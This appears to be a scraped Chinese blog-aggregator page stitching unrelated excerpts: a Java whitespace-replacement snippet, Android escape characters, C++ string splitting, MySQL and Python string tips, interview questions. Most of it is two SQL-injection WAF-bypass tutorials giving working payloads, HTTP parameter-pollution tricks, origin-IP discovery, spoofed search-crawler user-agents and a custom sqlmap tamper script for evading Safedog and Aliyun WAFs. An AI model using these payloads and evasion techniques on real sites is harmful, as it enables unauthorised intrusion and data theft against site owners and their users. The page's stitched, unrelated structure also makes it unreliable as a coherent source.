精华内容
下载资源
问答
  • 2016-03-28 05:22:51

    替换空格(空白字符)详解

    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    
    public class RegexpTest {
        private static String str2;
        /*
         * [\\s|/u3000]
         * \s 空白字符 包括 
         * \t   tab键  制表符
         * \n   换行符
         * \r   回车符
         * \f   换页符
         * 
         * \u3000 全角空格
         */
        public static String replaceBlank(String str) {
            String result = null;
            str2 = str;
            if("".equals(str2) || str2 == null) 
                return result;
    
            Pattern pattern = Pattern.compile("[\\s|\u3000]+");
            Matcher matcher = pattern.matcher(str);
            result = matcher.replaceAll("%20");     
            return result;
        }
    
        public static void main(String[] args) {
            String result = null;
            String source = "我爱 中国,我 爱      北 京";
    
            result = replaceBlank(source);
            System.out.println(result);
        }
    }
    

    输出:
    我爱%20中国,我%20爱%20北%20京

    更多相关内容
  • 渗透之——SQL注入绕过技术总结

    千次阅读 多人点赞 2019-01-05 20:15:55
    1.绕过空格(注释符/* */,%a0) 两个空格代替一个空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注释替换空格: /* 注释 */ 使用...

    转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85869703

    1.绕过空格(注释符/* */,%a0)

    两个空格代替一个空格,用Tab代替空格,%a0=空格:

    %20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

    最基本的绕过方法,用注释替换空格:

    /*  注释 */

    使用浮点数:

    select * from users where id=8E0union select 1,2,3
    select * from users where id=8.0 select 1,2,3

    2.括号绕过空格

    如果空格被过滤,括号没有被过滤,可以用括号绕过。
    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
    例如:

    select(user())from dual where(1=1)and(2=2)

    这种过滤方法常常用于time based盲注,例如:

    ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

    (from for属于逗号绕过下面会有)
    上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

    3.引号绕过(使用十六进制)

    会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

    select column_name  from information_schema.tables where table_name="users"

    这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
    users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

    select column_name  from information_schema.tables where table_name=0x7573657273

    4.逗号绕过(使用from或者offset)

    在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

    select substr(database() from 1 for 1);
    select mid(database() from 1 for 1);

    使用join:

    union select 1,2     #等价于
    union select * from (select 1)a join (select 2)b

    使用like:

    select ascii(mid(user(),1,1))=80   #等价于
    select user() like 'r%'

    对于limit可以使用offset来绕过:

    select * from news limit 0,1

    # 等价于下面这条SQL语句

    select * from news limit 1 offset 0

    5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

    使用greatest()、least():(前者返回最大值,后者返回最小值)
    同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
    最常见的一个盲注的sql语句:

    select * from users where id=1 and ascii(substr(database(),0,1))>64

    此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
    那么上面的这条sql语句可以使用greatest变为如下的子句:

    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

    使用between and:
    between a and b:返回a,b之间的数据,不包含b。

    6.or and xor not绕过

    and=&&  or=||   xor=|   not=!

    7.绕过注释符号(#,--(后面跟一个空格))过滤

    id=1' union select 1,2,3||'1

    最后的or '1闭合查询语句的最后的单引号,或者:

    id=1' union select 1,2,'3

    8.=绕过

    使用like 、rlike 、regexp 或者 使用< 或者 >

    9.绕过union,select,where等

    (1)使用注释符绕过

    常用注释符:

    //,-- , /**/, #, --+, -- -, ;,%00,--a

    用法:

    U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

    (2)使用大小写绕过

    id=-1'UnIoN/**/SeLeCT

    (3)内联注释绕过

    id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

    (4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

    id=-1'UNIunionONSeLselectECT1,2,3–-

    10.通用绕过(编码)

    如URLEncode编码,ASCII,HEX,unicode编码绕过:

    or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

    11.等价函数绕过

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()

    举例:substring()和substr()无法使用时:

    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

    或者:

    substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 1
    strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1

    12.宽字节注入

    过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
    在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
    (1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

    id=-1%df%27union select 1,user(),3--+

    (2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
    一般产生宽字节注入的PHP函数:
    1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。用思路一。
    2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
    (防御此漏洞,要将 mysql_query 设置为 binary 的方式)
    3.mysql_real_escape_string():转义下列字符:

    \x00     \n     \r     \     '     "     \x1a

    (防御,将mysql设置为gbk即可)

    13.多参数请求拆分

    对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。

    例如请求URL时,GET参数格式如下:

    a=[input1]&b=[input2]

    将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。

    and a=[input1] and b=[input2]

    这时就可以将注入语句进行拆分,如下所示:

    a=union/*&b=*/select 1,2,3,4

    最终将参数a和参数b拼接,得到的SQL语句如下所示:

    and a=union /*and b=*/select 1,2,3,4

    14.HTTP参数污染

    HTTP参数污染是指当同一个参数出现多次,不同的中间件会解析为不同的结果。具体如下图所示:(以参数color=red&color=blue为例)。

    可见,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了通参数名中的第一个或最后一个,并且中间件的特性正好取与WAF相反的参数,则可成功绕过。下面以IIS为例,一般的SQL注入语句如下所示:

    Inject=union select 1,2,3,4

    将SQL注入语句转换为以下格式。

    Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

    最终在IIS中读取的参数值将如下所示

    Inject=union/*, */select/*, */1,2,3,4

    15.生僻函数

    使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数替换常用的updatexml()函数

    select polygon((select * from (select * from (select @@version) f) x));

    16.寻找网站源IP

    对于具有云WAF防护的网站,只要找到网站的IP地址,通过IP访问网站,就可以绕过云WAF检测。

    常见的寻找网站IP的方法由以下几种

    • 寻找网站的历史解析记录
    • 多个不同区域ping网站,查看IP解析的结果
    • 找网站的二级域名、NS、MX记录等对应的IP
    • 订阅网站邮件,查看邮件发送方的IP

    17.注入参数到cookie中

    某些程序员在代码中使用$_REQUEST获取参数,而$_REQUEST会依次从GET/POST/cookie中获取参数,如果WAF只检测了GET/POST而没有检测cookie,则可以将注入语句放入cookie中进行绕过。

     

    展开全文
  • 本文实例汇总了C++常用字符串分割方法,分享给大家供大家参考。具体分析如下: 我们在编程的时候经常会碰到字符串分割的问题,这里总结下,也方便我们以后查询使用。 一、用strtok函数进行字符串分割 原型: char *...
  • SQL注入-waf绕过

    千次阅读 2022-04-06 16:08:00
    ,database()/**/,3 --+ /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询 2.内联注释 相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别 举例: index....

    SQL注入-waf绕过

    在这里插入图片描述

    网络资源

    https://www.cnblogs.com/cute-puli/p/11146625.html

    https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html

    WAF的常见特征

    之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。

    总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:

    • 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

    • 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

    • 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

    • WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

    WAF的常见特点:

    • 异常检测协议:拒绝不符合HTTP标准的请求

    • 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证

    • 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题

    • 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

    • 状态管理:重点进行会话保护

    • 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

    如果是对于扫描器,WAF有其识别之道:

    扫描器识别主要由以下几点:

    • 扫描器指纹(head字段/请求参数值,以wvs为例,会有很明显的Acunetix在内的标识

    • 单IP+ cookie某时间段内触发规则次数

    • 隐藏的链接标签等()

    • Cookie植入

    • 验证码验证,扫描器无法自动填充验证码

    • 单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404

    绕过WAF的方法

    从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧

    • 大小写混合

      大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

      举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

      示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

    • 替换关键字

      这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

      举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

      同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

    • 使用编码

      1.URL编码

      在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

      1.12.250.218:100/Less-2/?id=1 union%23a%0Aselect 1,2,3#
      

      这里相当于 %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句

      1.12.250.218:100/Less-2/?id=1 union#a
      select 1,2,3#
      

    在这里插入图片描述

    在数据库中
    
    mysql> select * from users where id=1 union #a            
        -> select 1,2,3;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    |  1 | 2        | 3        |
    +----+----------+----------+
    2 rows in set (0.00 sec)
    

    普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:

    1.12.250.218:100/Less-2/?id=1 UNION%23a%0ASELECT 1,2,3#
    page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
    

    2.十六进制编码

    举例:

    z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    

    示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

    3.Unicode编码

    Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

    看一下常用的几个符号的一些Unicode编码:

    单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

    左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

    右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

    举例:?id=10%D6‘%20AND%201=2%23

    SELECT ‘Ä’=‘A’; #1

    两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

    第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

    另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下

    常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子

    • 使用注释

      看一下常见的用于注释的符号有哪些:*//, – , /**/, #, --+,-- -, ;

      1.普通注释

      举例:

      http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+
      

      /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询

      2.内联注释

      相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

      举例:

      index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
      ?page_id=null%0A/**//*****!50000%55nIOn*****//*****yoyu*****/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
      

      两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

    • 等价函数与命令

      有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

      1.函数或变量

      hex()、bin() ==> ascii()
      sleep() ==>benchmark()
      concat_ws()==>group_concat()
      mid()、substr() ==> substring()
      @[@user ]() ==> user() 
      @[@datadir ]() ==> datadir() 
      
      

      举例:substring()和substr()无法使用时:?

      id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
      或者:substr((select 'password'),1,1) = 0x70
      strcmp(left('password',1), 0x69) = 1
      strcmp(left('password',1), 0x70) = 0
      strcmp(left('password',1), 0x71) = -1
      

      上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

      2.符号

      and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

      在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

      3.生僻函数

      MySQL/PostgreSQL支持XML函数:

      Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
      
      ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
      
      SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
      
      ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
      
      

      MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

    • 特殊符号

      这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

      先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

      1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

      2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

      3.@符号,select@^1.from users; @用于变量定义如**@**var_name,一个@表示用户定义,@@表示系统变量

      4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

      可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到

      本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

      举例:

      关键字拆分:‘se’+’lec’+’t’

      %S%E%L%E%C%T 1

      1.aspx?d=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)

      !和():’ or --+2=- -!!!'2

      id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

      本节最后在给出一些和这些字符多少有点关系的操作符供参考:

      >>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

      使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

    • HTTP参数控制 (http参数污染)

      在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。

      以上图服务器为例假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

    在这里插入图片描述

    比如在php/apache中:

    在这里插入图片描述

    利用:

    mysql> /*!select database()*/;
    +------------+
    | database() |
    +------------+
    | security   |
    +------------+
    1 row in set (0.00 sec)
    
    访问:xxx:xxx/?id=1/**&id=-1 union select 1,2,3#*/ 
    	 xxx:xxx/?id=1/**&id=-1%20union%20select%201,2,3%23*/ 
    

    在这里插入图片描述

    这个语句在mysql中可以正常执行

    mysql> select * from users where id=1/**id=-1 union select 1,2,3#*/;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    

    在游览器中这里是php页面所以接受的是后面的 id=-1 union select 1,2,3

    安全狗这里接收到

    /**&id=-1 union select 1,2,3#*/ 			/** */ :相当注释符 内联注释
    mysql> /**select dababase()*/;
    ERROR: 
    No query specified
    这里提示没有执行语句 安全狗对这个没有执行语句没有拦截,而游览器接收到真实的数据:
    -1 union select 1,2,3#*/ 进行注入
    
    • 缓冲区溢出

      缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

      举例:

      ?id=1 and (select 1)=(elect 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
      

      示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

    • 整合绕过

      整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

      举例:

      z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
      
      id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
      
      ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  
      

    案例演示

    • 简要其他绕过方式学习
    • FUZZ绕过脚本结合编写测试
    • 阿里云盾防SQL注入简要分析
    • 安全狗+云盾SQL注入插件脚本编写
    %23x%20union%23x%0Aselect%201,2,3
    
    %20union%20/*!44509select*/%201,2,3
    %20/*!44509union*/%23x%0aselect%201,1,2,3
    这个/*!44509union*/是mysql数据库的特性:表示数据库版本在4.4.509以上的话就可以被执行。而waf会略过
    
    id=1/**&id=-1%20union%20select%201,2,3%23*/
    %20union%20all%23%0a%20select%201,2,3%23
    

    方式一:IP白名单

    从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。需要条件比较苛刻

    测试方法:修改http的header来bypass waf

    x-forwarded-for
    x-remote-IP
    x-originating-IP
    x-remote-addr
    x-Real-ip
    

    方式二:静态资源

    特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。现在一般都会拦截

    http://10.s.9.201/sql.php ?id=1
    http://10.9.9.201/sql.php/1.js=?id=1
    

    备注: aapx/php只识别到前面的.aspx/ .php后面基本不识

    方式三:url白名单

    为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:

    http://10.s.s.201/=ql.php/admin.php?id=1
    http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
    http://10.9.s.201/../../../manage/../sql.asp?id=2
    

    waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=…/etc/passwcl绕过防御规则。

    方式四:爬虫白名单

    在爬虫脚本的请求头中加入官方爬虫比如百度爬虫等白名单的header,waf就不会对你的ip进行封禁

    Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
    

    搜索引擎蜘蛛爬虫 User Agent 一览

    https://blog.csdn.net/liuxl57805678/article/details/89378720

    在这里插入图片描述

    SQLmap tamper

    https://www.cnblogs.com/junsec/p/11607603.html

    在tamper文件夹中创建rdog.py

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    import re
    
    from lib.core.data import kb
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.NORMAL
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
    
        retVal = payload
    
        if payload:
            retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
            retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
            retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
            retVal = retVal.replace('USER()', 'usEr/*!(*/)')
            retVal = retVal.replace(' ', '/**/')
            retVal = retVal.replace(" ", '%23a%0a')
            retVal = retVal.replace('OR', '/*!14400Or*/')
            retVal = retVal.replace('AND', '/*!14400aNd*/')
    
        return retVal
    

    在这里插入图片描述

    可以看到的是代码并没有按照我们预期执行,我们添加代理看看到底是个什么情况

    python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888启动burp

    在这里插入图片描述

    可以看到user-agent是sqlmap/1.5.6.4#dev (http://sqlmap.org),安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行

    python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-angent 加上–random-angent 这个是在sqlmap的游览器头储存文件中随机取一个

    在这里插入图片描述

    备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理,爬虫白名单

    搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720

    自定义user-agent

    python sqlmap.py -u "http://10.1.1.120/Less-2/?id=1"  --tamper=rdog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
    

    延时注入

    –delay 时间(默认为秒)

    C:\Users\admin\Desktop\security\software\sqlmapproject-sqlmap-7c41967>python sqlmap.py -u "http://1.12.250.218/Less-2/?id=1"  --tamper=rdog.py --proxy=http://127.0.0.1:8888 --delay 1
            ___
           __H__
     ___ ___[']_____ ___ ___  {1.5.6.4#dev}
    |_ -| . [)]     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 17:28:14 /2021-07-27/
    
    [17:28:16] [INFO] loading tamper module 'rdog'
    
    展开全文
  • Android 常用转义字符

    2021-05-26 06:47:22
    写过html代码的朋友们应该知道,html支持转义字符,可以通过转义字符实现显示空格、缩进、换行等内容。...常见的转义字符如下:字符HTMLHex半角空格(半角符号)\u0020全角空格(中文符号)\u3000首行...

    写过html代码的朋友们应该知道,html支持转义字符,可以通过转义字符实现显示空格、缩进、换行等内容。在Android开发中,我们同样可以通过转义字符,实现特殊字符的显示。

    1. 转义字符的显示形式

    Android的转义字符通过unicode编码来表示。常用的显示形式有Hex形式和HTML形式。

    常见的转义字符如下:

    字符

    HTML

    Hex

    半角空格(半角符号)

    \u0020

    全角空格(中文符号)

    \u3000

    首行缩进

    \u3000\u3000

    &

    &

    \u0026

    @

    @

    \u0040

    %

    &37;

    \u25

    在布局文件中使用转义字符,需要使用HTML形式:

    xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical">

    android:layout_width="match_parent"

    android:layout_height="wrap_content"

    android:text="姓  名" />

    android:layout_width="match_parent"

    android:layout_height="wrap_content"

    android:text="电话号码" />

    而在string.xml中,则需要使用Hex形式:

    姓\u3000\u3000名

    电话号码

    2. 显示形式的换算

    HTML形式实际上是将Unicode编码以十进制的形式显示,而Hex形式实际上是将Unicode编码以十六进制的形式显示,因此显示形式的换算本质上是不同进制的换算。

    如@中的数字为64换算成十六进制的结果为40,对应着\u0040中的数字40,下图是计算器的显示结果:

    6b3d3c3d0508

    计算结果.png

    最后,贴出Unicode编码查询网站,方便各位查询Unicode编码:

    Unicode Lookup

    FileFormat.Info

    参考博客:

    字符编码笔记:ASCII,Unicode 和 UTF-8

    展开全文
  • 项目需要匹配gh字符,要求gh前面有空格,后面有无空格都可以。 思路如下: \s :表示space,空格 +: 一个或多个 ^: 开始,^\s,以空格开始 $: 结束,\s$,以空格结束 |:或者 /g:global, 全局 str.replace(/^...
  • html使用空格替代符号

    千次阅读 2019-02-12 10:51:00
    替代符号就是在需要显示空格的地方加入替代符号,这些符号会被浏览器解释为空格显示。 空格替代符号有以下几种: 名称编号描述 &nbsp; &#160; 不断行的空白(1个字符宽度) &ensp; ...
  • /> (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力) 30 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),...
  • 目前常用的读入字符串方法是使用cin&gt;&gt;a或scanf("%s",a),但因为cin和scanf()默认读到空格、\t、\n就停止,所以并不能读入带空格字符串,这就让人在一些必须获取带空格字符串时很头大。...
  • 去掉空格符号为 select REPLACE(‘要替换的字符或列名’,char(32),’替换的目标字符’) 去掉换行符号为 select REPLACE(‘要替换的字符或列名’,char(10),’替换的目标字符’) 按照ASCII码 ...
  • 比较常用的几个正则表达式(匹配数字) 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了 匹配双字节字符(包括汉字在内):[^\x00-\xff] 评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符...
  • 替换一个字符串(字段)里所有的空格、tab键、换行、回车
  • 不可变的字符串对象,尽量少使用+=操作 '字符 "字符
  • CTF 中的 SQL 注入总结

    千次阅读 2019-10-12 09:16:56
    符号替代法 /**/、select..password、select+user() 括号组合法 union(select(1),2)、select{x(password)}from{x(user)} 连续运算绕过 使用连续等号 1 SELECT * from users where...
  • 给出两种基本实现: /* 静态顺序存储线性表的基本实现 */ #include #include #include #define LIST_INITSIZE 100 #define ElemType int #define Status int #define OK 1 #define ERROR 0 typedef struct { ...
  • mysql替换字段中的空格

    千次阅读 2021-11-15 09:54:46
    mysql替换字段中的空格 UPDATE 表名 SET 字段名 = REPLACE(字段名,' ','')
  • 字符串函数 concat(string1,…,stringN)连接给定的字符串 length(string) 返回给定字符串的长度 lower(string) 返回字符串的... ltrim(string) 从字符串中删除字符左侧空格 rtrim(string) 从字符串中删除字符右侧空
  • python字符常用方法及汇总

    万次阅读 多人点赞 2019-06-18 18:57:03
    字符常用方法常用的查找方法去除首尾信息大小写转换格式排版其他方法字符串的格式化format()基本用法填充与对齐数字格式化其他格式,供大家参考:可变字符常用的查找方法 我们以一段文本作为测试: a=’’‘我...
  • 黑客常用SQL注入绕过技术总结,黑客们原来是这么玩的!冰河吐血整理,建议收藏!!
  • 前端面试宝典超

    万次阅读 2016-08-24 11:05:34
    1、你做的页面在哪些流览器测试过?这些浏览器的内核分别是什么? IE: trident内核 Firefox:gecko内核 Safari:webkit内核 ...Opera:以前是presto内核,Opera现已改用Google Chrome的Blink内核 ...
  • 检测特殊字符的正则表达式

